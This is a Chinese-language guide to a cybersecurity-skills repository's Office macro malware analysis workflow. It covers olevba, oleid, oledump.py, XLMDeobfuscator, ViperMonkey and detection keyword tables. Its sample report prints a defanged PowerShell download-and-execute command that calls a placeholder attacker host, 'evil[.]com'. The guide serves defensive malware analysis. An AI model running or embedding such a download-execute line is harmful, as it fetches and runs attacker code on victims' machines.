Anthropic-Cybersecurity-Skills 仓库 Office 宏恶意软件分析工具 API 参考与实战指南
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
本篇指南围绕 Anthropic-Cybersecurity-Skills 仓库中analyzing-macro-malware-in-office-documents技能的 api-reference.md 展开,系统讲解 olevba、oleid、oledump.py、XLMDeobfuscator 与 ViperMonkey 等工具的命令行语法、Python API 与关键输出结构,并融合该技能的完整分析工作流与仓库配套 agent.py 源码级实现,帮助你掌握从文档分流(triage)、VBA 提取、去混淆到 IOC 提取的完整 Office 恶意文档分析闭环。
技能定位与框架映射
该技能面向 AI Agent 的恶意文档取证场景,其元数据定义在 SKILL.md 的 frontmatter 中:
- 触发场景:邮件安全网关标记的可疑 Office 文档(.doc/.docm/.xls/.xlsm/.ppt)、钓鱼攻击投递的武器化文档、VBA 宏提取、混淆 VBA 攻击链还原,以及 DDE / ActiveX / 远程模板注入等非宏向量判定。
- 框架映射:
- MITRE ATT&CK:
T1137.001(Office 应用启动)、T1204.002(用户执行:恶意文件)、T1059.005(命令与脚本解释器:Visual Basic)、T1027(混淆文件或信息); - NIST CSF 2.0:
DE.AE-02、RS.AN-03、ID.RA-01、DE.CM-01; - MITRE ATLAS:
AML.T0068、AML.T0067; - MITRE D3FEND:文件元数据一致性校验、应用协议命令分析、标识符分析、内容格式转换、消息分析。
- MITRE ATT&CK:
下文所有工具示例均以document.docm/suspect.docm等占位文件名为分析对象。
一、oletools(olevba):VBA 宏提取与静态分析
olevba 是 oletools 工具包的核心组件,用于解析 OLE/复合文档结构、提取 VBA 源码,并基于关键词规则检测可疑函数与 IOC。分析环境要求 Python 3.8+,安装方式为pip install oletools。
CLI 语法
olevba document.docm # 完整分析(默认输出全部分区) olevba --decode --deobf document.docm # 解码 + 去混淆(还原 Chr()/串联等常见混淆) olevba --code document.docm # 仅提取 VBA 源码(适合重定向到文件) olevba --json document.docm # JSON 结构化输出(便于 Agent/脚本消费) olevba --reveal document.docm # 揭示隐藏内容(如隐藏字符串)典型组合用法:先用--code将提取的 VBA 源码落盘,再用--decode --deobf还原混淆层,最后用--json生成机器可读结果。
输出分区
olevba 的分析报告按类型分为以下分区,每个分区对应一类威胁线索:
| Section | 内容 |
|---|---|
AutoExec | 自动执行触发器(AutoOpen、Document_Open 等) |
Suspicious | 危险函数(Shell、WScript、CreateObject 等) |
IOC | 提取的指示器(URL、IP、文件路径) |
Hex String | 解码后的十六进制编码字符串 |
Python API
olevba 提供VBA_Parser类,可在脚本或 Agent 中直接调用:
from oletools.olevba import VBA_Parser vba = VBA_Parser("document.docm") if vba.detect_vba_macros(): for (fn, stream, vba_fn, code) in vba.extract_macros(): print(code) for (kw_type, keyword, desc) in vba.analyze_macros(): print(f"{kw_type}: {keyword}") vba.close()仓库配套脚本 agent.py 正是基于这一 API 实现的:extract_vba_macros()使用detect_vba_macros()+extract_macros()逐条取出宏源码并记录流路径与代码长度;analyze_vba_suspicious()使用analyze_macros()将结果按AutoExec/Suspicious/IOC/Hex String四类分流,与上表分区一一对应。
二、oleid:文档能力识别与风险预判
在深入提取宏之前,先用 oleid 对文档做快速能力评估,判断是否值得继续分析:
oleid document.docm指示器与风险值
| Indicator | 风险值 |
|---|---|
VBA Macros | True/False |
XLM Macros | True/False |
External Relationships | True/False(远程模板等外部引用) |
ObjectPool | True/False(内嵌对象) |
Flash | True/False(SWF 对象) |
SKILL.md 的 Step 1 将 oleid 作为首要 triage 步骤,并结合 oledump.py 做 OLE 流级确认。agent.py 中triage_document()通过oleid.OleID(filepath).check()遍历全部指示器,输出每个指示器的value(取值)、risk(风险等级)与description(说明),实现同样的能力画像。
三、oledump.py:OLE 流级分析
Didier Stevens 的 oledump.py 直接作用于 OLE 复合文档的流结构,适合定位宏所在流、提取原始字节,并支持插件扩展。
CLI 语法
oledump.py document.docm # 列出所有 OLE 流 oledump.py -s 8 -v document.docm # 提取并显示第 8 号流(流号以列表输出为准) oledump.py -p plugin_vba_dco document.docm # VBA 解压/反编译插件 oledump.py -p plugin_msg.py document.msg # MSG 邮件文件解析插件流标记
流列表中每行开头的标记字符表示流内容类型:
| Marker | 含义 |
|---|---|
M | 包含 VBA 宏 |
m | 包含宏属性 |
O | 包含 OLE 对象 |
SKILL.md 明确指出:标记为M的流含 VBA 宏、m的流含宏属性,这是判断"宏藏在哪个流"的关键依据。plugin_vba_dco可对压缩的 VBA 源流(CompressedContainer)做解压还原,plugin_biff.py则用于 XLM(BIFF 格式)宏解析。
四、XLMDeobfuscator:Excel 4.0 宏去混淆
Excel 4.0(XLM)宏是早于 VBA 的遗留宏语言,存储在隐藏工作表(宏表)中,常被传统 VBA 检测工具漏报。该技能将其作为独立分析分支,安装方式为pip install xlmdeobfuscator。
CLI 语法
xlmdeobfuscator -f document.xlsm xlmdeobfuscator -f document.xlsm --output-format json危险 XLM 函数
| Function | 用途 |
|---|---|
EXEC() | 执行 Shell 命令 |
CALL() | 调用 DLL 函数 |
REGISTER() | 注册 DLL 函数 |
URLDownloadToFileA | 从 URL 下载文件 |
SKILL.md 的 Step 4 扩展了完整监测清单:除上表外,还需关注ALERT()(社交工程弹窗)、HALT()(终止执行)、GOTO()(控制流跳转)、IF()(条件执行)等控制流函数。注意olevba --xlm suspect.xlsm可先用于检测 XLM 宏是否存在,再用 XLMDeobfuscator 还原公式。
五、VBA 自动执行触发器
宏恶意软件的首要特征是无需用户主动操作即可执行。下表为需要优先排查的入口点:
| Trigger | 应用 |
|---|---|
Auto_Open/AutoOpen | Word |
Document_Open | Word |
Workbook_Open | Excel |
Auto_Close | Word |
AutoExec | Word |
在分析报告中,找到入口点后应沿其调用链向下追踪(如AutoOpen() -> Module1.RunPayload()),逐一还原辅助函数的作用。
六、VBA 可疑函数速查表
宏代码中出现下列 API 时,通常意味着下载执行、进程创建、文件写入或环境侦察:
| Function | 风险 |
|---|---|
Shell() | 命令执行 |
WScript.Shell | Windows 脚本宿主 |
CreateObject() | COM 对象实例化 |
URLDownloadToFile | 文件下载 |
MSXML2.XMLHTTP | HTTP 请求 |
ADODB.Stream | 二进制文件写入 |
CallByName | 间接方法调用 |
Environ() | 环境变量访问 |
SKILL.md 补充了Shell.Application、WScript.Shell.Run/Exec、CreateObject("WScript.Shell")、PowerShell 执行等变体。olevba 的Suspicious分区会命中这些函数,agent.py 的分析结果中也会以[!] Suspicious: <keyword> - <description>形式打印。
七、ViperMonkey:VBA 行为仿真
对高度混淆、人工追踪成本过高的宏,可交给 ViperMonkey 在沙箱中仿真执行以观察真实行为:
vmonkey document.docm # 仿真执行并输出行为 vmonkey --iocs document.docm # 仅提取 IOCsViPerMonkey 通过虚拟执行 VBA 语句还原字符串拼接与 API 调用序列,是静态去混淆失败时的补充手段。
八、源码级去混淆链路:agent.py 实现解读
api-reference.md 只给出工具语法,而仓库 agent.py 提供了与 SKILL.md Step 3 一致的完整去混淆实现,可作为模板直接复用:
deobfuscate_chr_calls():正则Chr$?\((\d+)\)与ChrW$?\((\d+)\)将数字还原为字符(如Chr(104) & Chr(116)→"ht");deobfuscate_concatenation():移除"abc" & "def"之间的&拼接符;deobfuscate_strreverse():还原StrReverse("exe.daolnwod")→"download.exe";deobfuscate_replace():展开Replace("Powxershxell", "x", "")→"PowerShell";full_deobfuscation():按 Chr → 拼接 → 反转 → Replace 的顺序级联应用全部规则;extract_urls_from_code():用https?://[^\s"'<>]+从还原后的代码中抽取下载 URL。
此外,check_dde()与check_external_relationships()复现了 SKILL.md Step 5 的非宏向量检测:解析 OOXML 内 zip 的.xml/.rels,匹配DDEAUTO、DDE、attachedTemplate、Target=等特征,输出 DDE 命令与远程模板 URL。generate_report()则汇总文件哈希、triage 结果、宏数量、自动执行触发器、可疑函数、IOC、URL 与 DDE 发现,生成 JSON 报告,与 SKILL.md 的报告模板结构一致。
九、标准报告输出格式
SKILL.md 给出了面向分析师与 Agent 的统一报告模板,建议按此结构沉淀每一次分析结论:
OFFICE MACRO MALWARE ANALYSIS ================================ Document: invoice_q3_2025.docm SHA-256: e3b0c44298fc1c149afbf4c8996fb924... File Type: Microsoft Word Document (OOXML with macros) Author: Administrator Creation Date: 2025-09-10 14:23:00 MACRO ANALYSIS Type: VBA Macro Trigger: AutoOpen() Streams: 3 VBA streams (ThisDocument, Module1, Module2) DEOBFUSCATED EXECUTION CHAIN 1. AutoOpen() -> Calls Module1.RunPayload() 2. RunPayload() builds command string via Chr() concatenation 3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA... 4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1') SOCIAL ENGINEERING LURE - Document displays fake "Protected Document" image - Instructs user to "Enable Content" to view the document - Content is blurred/hidden until macros execute EXTRACTED IOCs Download URL: hxxp://evil[.]com/payload.ps1 C2 Domain: evil[.]com IP Address: 185.220.101[.]42 User-Agent: PowerShell (default WebClient) MITRE ATT&CK T1566.001 Phishing: Spearphishing Attachment T1204.002 User Execution: Malicious File T1059.001 Command and Scripting Interpreter: PowerShell T1059.005 Command and Scripting Interpreter: Visual Basic报告应包含:文档元数据、宏类型(VBA/XLM/DDE/远程模板)、自动执行触发器、去混淆后的关键代码、二级载荷下载 URL、执行方式、社交工程诱饵描述、提取的 IOC(URL/域名/IP/文件哈希)以及针对该文档模式的 YARA 规则。
十、安全注意事项
- 分析环境必须是未安装 Microsoft Office 的隔离虚拟机,防止误打开文档触发宏执行;文档渲染推荐 LibreOffice(默认不执行 VBA 宏)。
- 陷阱提醒:不要在 Office 中"快速查看"疑似文档;不要遗漏 UserForms 事件处理器中的 VBA 代码;不要忽略文档元数据中的攻击者指纹(作者名、模板名);同一文档可能同时包含 VBA 与 XLM 宏,需分别检测。
- 输出 IOC 时建议对 URL 做去活性化(defang,如
hxxp://、[.])以防误点击,本技能报告模板即采用此惯例。
延伸阅读
- 技能完整工作流:SKILL.md
- 配套分析 Agent 源码:scripts/agent.py
- 本文依据的 API 参考原文:references/api-reference.md
- 技能框架覆盖总览:mappings/mitre-attack/coverage-summary.md
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考